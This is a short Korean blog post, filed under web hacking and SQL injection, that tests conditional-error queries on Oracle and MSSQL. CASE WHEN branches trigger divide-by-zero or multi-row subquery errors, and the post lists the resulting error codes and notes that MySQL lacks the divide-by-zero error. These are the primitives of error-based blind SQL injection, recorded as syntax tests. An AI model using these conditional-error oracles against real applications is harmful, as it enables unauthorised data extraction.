Oh! JUN

각 DBMS에 따른 Response-Based SQL 문법 테스트 본문

웹 해킹/SQL Injection

각 DBMS에 따른 Response-Based SQL 문법 테스트

Kwon Oh! JUN 2022. 9. 17. 14:40

# MYSQL

* MYSQL은 Divide by Zero 에러 발생을 하지 않아서 다중 레코드 에러만 가능


# ORACLE

쿼리  결과
select case when 1=1 then 'a' else CAST(1/0 as char) end from dual; a
select case when 1=2 then 'a' else CAST(1/0 as char) end from dual; ORA-01476: 제수가 0 입니다
Error code: 1476
SQL state: 22012
select case when 1=1 then 1 else 1/0 end from dual; 1
select case when 1=2 then 1 else 1/0 end from dual; ORA-01476: 제수가 0 입니다
Error code: 1476
SQL state: 22012
select case when 1=1 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual; a
select case when 1=2 then 'a' else (select 'a' from dual union select 'b' from dual) end from dual; ORA-01427: 단일 행 하위 질의에 2개 이상의 행이 리턴되었습니다.
Error code: 1427
SQL state: 21000
select case when 1=1 then 1 else (select 1 from dual union select 2 from dual) end from dual; 1
select case when 1=2 then 1 else (select 1 from dual union select 2 from dual) end from dual; ORA-01427: 단일 행 하위 질의에 2개 이상의 행이 리턴되었습니다.
Error code: 1427
SQL state: 21000

# MSSQL

select case when 1=1 then 'a' else CONVERT(char, 1/0) end; a
select case when 1=2 then 'a' else CONVERT(char, 1/0) end; 0으로 나누기 오류가 발생했습니다.
Error code: 8134
SQL state: 22012
select case when 1=1 then 1 else 1/0 end; 1
select case when 1=2 then 1 else 1/0 end; 0으로 나누기 오류가 발생했습니다.
Error code: 8134
SQL state: 22012
select case when 1=1 then 'a' else (select 'a' union select 'b') end; a
select case when 1=2 then 'a' else (select 'a' union select 'b') end; 하위 쿼리에서 값을 둘 이상 반환했습니다. 하위 쿼리 앞에 =, !=, <, <=, >, >= 등이 오거나 하위 쿼리가 하나의 식으로 사용된 경우에는 여러 값을 반환할 수 없습니다.
Error code: 512
SQL state: 21000
select case when 1=1 then 1 else (select 1 union select 2) end; 1
select case when 1=2 then 1 else (select 1 union select 2) end; 하위 쿼리에서 값을 둘 이상 반환했습니다. 하위 쿼리 앞에 =, !=, <, <=, >, >= 등이 오거나 하위 쿼리가 하나의 식으로 사용된 경우에는 여러 값을 반환할 수 없습니다.
Error code: 512
SQL state: 21000

* MYSQL, MSSQL은 from 절 생략가능 / ORACLE은 from 절 반드시 필요